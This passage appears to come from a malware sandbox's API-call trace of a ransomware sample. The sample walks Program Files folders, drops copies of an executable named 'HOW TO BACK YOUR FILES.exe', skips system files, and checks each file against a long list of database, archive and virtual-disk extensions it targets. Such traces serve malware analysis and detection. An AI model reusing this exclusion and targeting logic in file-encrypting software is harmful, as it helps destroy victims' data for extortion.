dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2=".") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="..") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="windows") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="bootmgr") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="temp") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="pagefile.sys") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="boot") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="ids.txt") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="ntuser.dat") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="perflogs") returned 1 [0034.324] lstrcmpiW (lpString1="Windows Portable Devices", lpString2="MSBuild") returned 1 [0034.324] lstrlenW (lpString="Windows Portable Devices") returned 24 [0034.324] lstrcpyW (in: lpString1=0x241e86a, lpString2="Windows Portable Devices" | out: lpString1="Windows Portable Devices") returned="Windows Portable Devices" [0034.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c458 [0034.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x50f000 [0034.324] lstrcatW (in: lpString1="Windows Portable Devices", lpString2="\\" | out: lpString1="Windows Portable Devices\\") returned="Windows Portable Devices\\" [0034.324] lstrcatW (in: lpString1="Windows Portable Devices\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Portable Devices\\HOW TO BACK YOUR FILES.exe") returned="Windows Portable Devices\\HOW TO BACK YOUR FILES.exe" [0034.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Portable Devices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows portable devices\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.328] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0034.328] lstrcmpiW (lpString1="Windows Sidebar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0034.328] lstrcmpiW (lpString1="Windows Sidebar", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.328] lstrcmpiW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0034.328] lstrcmpiW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0034.328] lstrcmpiW (lpString1="Windows Sidebar", lpString2="windows") returned 1 [0034.328] lstrcmpiW (lpString1="Windows Sidebar", lpString2="bootmgr") returned 1 [0034.329] lstrcmpiW (lpString1="Windows Sidebar", lpString2="temp") returned 1 [0034.329] lstrcmpiW (lpString1="Windows Sidebar", lpString2="pagefile.sys") returned 1 [0034.329] lstrcmpiW (lpString1="Windows Sidebar", lpString2="boot") returned 1 [0034.329] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ids.txt") returned 1 [0034.329] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ntuser.dat") returned 1 [0034.329] lstrcmpiW (lpString1="Windows Sidebar", lpString2="perflogs") returned 1 [0034.329] lstrcmpiW (lpString1="Windows Sidebar", lpString2="MSBuild") returned 1 [0034.329] lstrlenW (lpString="Windows Sidebar") returned 15 [0034.329] lstrcpyW (in: lpString1=0x241e86a, lpString2="Windows Sidebar" | out: lpString1="Windows Sidebar") returned="Windows Sidebar" [0034.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c470 [0034.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x42) returned 0x517348 [0034.329] lstrcatW (in: lpString1="Windows Sidebar", lpString2="\\" | out: lpString1="Windows Sidebar\\") returned="Windows Sidebar\\" [0034.329] lstrcatW (in: lpString1="Windows Sidebar\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Sidebar\\HOW TO BACK YOUR FILES.exe") returned="Windows Sidebar\\HOW TO BACK YOUR FILES.exe" [0034.329] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.332] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 0 [0034.332] FindClose (in: hFindFile=0x50aa40 | out: hFindFile=0x50aa40) returned 1 [0034.332] ReleaseMutex (hMutex=0xec) returned 1 [0034.332] CloseHandle (hObject=0xec) returned 1 [0034.332] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0034.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a7c0 | out: hHeap=0x4f0000) returned 1 [0034.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509038 | out: hHeap=0x4f0000) returned 1 [0034.332] lstrlenW (lpString="C:\\Program Files (x86)") returned 22 [0034.332] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\2C57214890475BA1EC6E976335028D6A") returned 0xec [0034.332] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0034.332] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0034.332] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0034.332] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\how to back your files.exe"), bFailIfExists=1) returned 0 [0034.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0034.333] GetLastError () returned 0x0 [0034.333] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0034.333] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x525fa8 [0034.333] ReadFile (in: hFile=0xf4, lpBuffer=0x525fa8, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x525fa8*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0034.333] CloseHandle (hObject=0xf4) returned 1 [0034.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525fa8 | out: hHeap=0x4f0000) returned 1 [0034.333] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0034.333] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc30f380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc30f380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x50aa40 [0034.333] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.333] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.333] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0034.333] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc30f380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc30f380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.333] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.333] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.333] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0034.333] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0034.333] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf40b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf40b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0034.333] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.333] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.333] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0034.333] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0034.333] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0034.333] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0034.334] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0034.334] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0034.334] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0034.334] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0034.334] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0034.334] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0034.334] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0034.334] lstrlenW (lpString="Adobe") returned 5 [0034.334] lstrcpyW (in: lpString1=0x241e876, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0034.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509038 [0034.334] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x3a) returned 0x50f5f8 [0034.334] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0034.334] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0034.334] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.336] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbdc44680, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbdc44680, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2=".") returned 1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="..") returned 1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="windows") returned -1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="bootmgr") returned 1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="temp") returned -1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="pagefile.sys") returned -1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="boot") returned 1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="ids.txt") returned -1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="ntuser.dat") returned -1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="perflogs") returned -1 [0034.336] lstrcmpiW (lpString1="Common Files", lpString2="MSBuild") returned -1 [0034.336] lstrlenW (lpString="Common Files") returned 12 [0034.337] lstrcpyW (in: lpString1=0x241e876, lpString2="Common Files" | out: lpString1="Common Files") returned="Common Files" [0034.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c488 [0034.337] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517398 [0034.337] lstrcatW (in: lpString1="Common Files", lpString2="\\" | out: lpString1="Common Files\\") returned="Common Files\\" [0034.337] lstrcatW (in: lpString1="Common Files\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Common Files\\HOW TO BACK YOUR FILES.exe") returned="Common Files\\HOW TO BACK YOUR FILES.exe" [0034.337] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\how to back your files.exe"), bFailIfExists=1) returned 1 [0034.339] FindNextFileW (in: hFindFile=0x50aa40, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0034.339] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0034.339] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0034.339] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0034.339] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0034.340] lstrlenW (lpString="desktop.ini") returned 11 [0034.340] lstrcpyW (in: lpString1=0x241e876, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0034.340] lstrlenW (lpString="desktop.ini") returned 11 [0034.340] lstrlenW (lpString="Athena865") returned 9 [0034.340] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0034.340] lstrlenW (lpString=".dll") returned 4 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0034.340] lstrlenW (lpString=".lnk") returned 4 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0034.340] lstrlenW (lpString=".ini") returned 4 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0034.340] lstrlenW (lpString=".sys") returned 4 [0034.340] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0034.340] lstrlenW (lpString="desktop.ini") returned 11 [0034.340] lstrlenW (lpString="bak") returned 3 [0034.340] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0034.340] lstrlenW (lpString="ba_") returned 3 [0034.340] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0034.340] lstrlenW (lpString="dbb") returned 3 [0034.340] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0034.340] lstrlenW (lpString="vmdk") returned 4 [0034.340] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0034.340] lstrlenW (lpString="rar") returned 3 [0034.340] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0034.340] lstrlenW (lpString="zip") returned 3 [0034.340] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0034.340] lstrlenW (lpString="tgz") returned 3 [0034.340] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0034.341] lstrlenW (lpString="vbox") returned 4 [0034.341] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0034.341] lstrlenW (lpString="vdi") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0034.341] lstrlenW (lpString="vhd") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0034.341] lstrlenW (lpString="vhdx") returned 4 [0034.341] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0034.341] lstrlenW (lpString="avhd") returned 4 [0034.341] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0034.341] lstrlenW (lpString="db") returned 2 [0034.341] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0034.341] lstrlenW (lpString="db2") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0034.341] lstrlenW (lpString="db3") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0034.341] lstrlenW (lpString="dbf") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0034.341] lstrlenW (lpString="mdf") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0034.341] lstrlenW (lpString="mdb") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0034.341] lstrlenW (lpString="sql") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0034.341] lstrlenW (lpString="sqlite") returned 6 [0034.341] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0034.341] lstrlenW (lpString="sqlite3") returned 7 [0034.341] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0034.341] lstrlenW (lpString="sqlitedb") returned 8 [0034.341] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0034.341] lstrlenW (lpString="xml") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0034.341] lstrlenW (lpString="$er") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0034.341] lstrlenW (lpString="4dd") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0034.341] lstrlenW (lpString="4dl") returned 3 [0034.341] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0034.341] lstrlenW (lpString="^^^") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0034.342] lstrlenW (lpString="abs") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0034.342] lstrlenW (lpString="abx") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0034.342] lstrlenW (lpString="accdb") returned 5 [0034.342] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0034.342] lstrlenW (lpString="accdc") returned 5 [0034.342] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0034.342] lstrlenW (lpString="accde") returned 5 [0034.342] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0034.342] lstrlenW (lpString="accdr") returned 5 [0034.342] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0034.342] lstrlenW (lpString="accdt") returned 5 [0034.342] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0034.342] lstrlenW (lpString="accdw") returned 5 [0034.342] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0034.342] lstrlenW (lpString="accft") returned 5 [0034.342] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0034.342] lstrlenW (lpString="adb") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0034.342] lstrlenW (lpString="adb") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0034.342] lstrlenW (lpString="ade") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0034.342] lstrlenW (lpString="adf") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0034.342] lstrlenW (lpString="adn") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0034.342] lstrlenW (lpString="adp") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0034.342] lstrlenW (lpString="alf") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0034.342] lstrlenW (lpString="ask") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0034.342] lstrlenW (lpString="btr") returned 3 [0034.342] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0034.343] lstrlenW (lpString="cat") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0034.343] lstrlenW (lpString="cdb") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0034.343] lstrlenW (lpString="ckp") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0034.343] lstrlenW (lpString="cma") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0034.343] lstrlenW (lpString="cpd") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0034.343] lstrlenW (lpString="dacpac") returned 6 [0034.343] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0034.343] lstrlenW (lpString="dad") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0034.343] lstrlenW (lpString="dadiagrams") returned 10 [0034.343] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0034.343] lstrlenW (lpString="daschema") returned 8 [0034.343] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0034.343] lstrlenW (lpString="db-journal") returned 10 [0034.343] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0034.343] lstrlenW (lpString="db-shm") returned 6 [0034.343] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0034.343] lstrlenW (lpString="db-wal") returned 6 [0034.343] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0034.343] lstrlenW (lpString="dbc") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0034.343] lstrlenW (lpString="dbs") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0034.343] lstrlenW (lpString="dbt") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0034.343] lstrlenW (lpString="dbv") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0034.343] lstrlenW (lpString="dbx") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0034.343] lstrlenW (lpString="dcb") returned 3 [0034.343] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0034.343] lstrlenW (lpString="dct") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0034.344] lstrlenW (lpString="dcx") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0034.344] lstrlenW (lpString="ddl") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0034.344] lstrlenW (lpString="dlis") returned 4 [0034.344] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0034.344] lstrlenW (lpString="dp1") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0034.344] lstrlenW (lpString="dqy") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0034.344] lstrlenW (lpString="dsk") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0034.344] lstrlenW (lpString="dsn") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0034.344] lstrlenW (lpString="dtsx") returned 4 [0034.344] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0034.344] lstrlenW (lpString="dxl") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0034.344] lstrlenW (lpString="eco") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0034.344] lstrlenW (lpString="ecx") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0034.344] lstrlenW (lpString="edb") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0034.344] lstrlenW (lpString="epim") returned 4 [0034.344] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0034.344] lstrlenW (lpString="fcd") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0034.344] lstrlenW (lpString="fdb") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0034.344] lstrlenW (lpString="fic") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0034.344] lstrlenW (lpString="flexolibrary") returned 12 [0034.344] lstrlenW (lpString="fm5") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0034.344] lstrlenW (lpString="fmp") returned 3 [0034.344] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0034.345] lstrlenW (lpString="fmp12") returned 5 [0034.345] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0034.345] lstrlenW (lpString="fmpsl") returned 5 [0034.345] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0034.345] lstrlenW (lpString="fol") returned 3 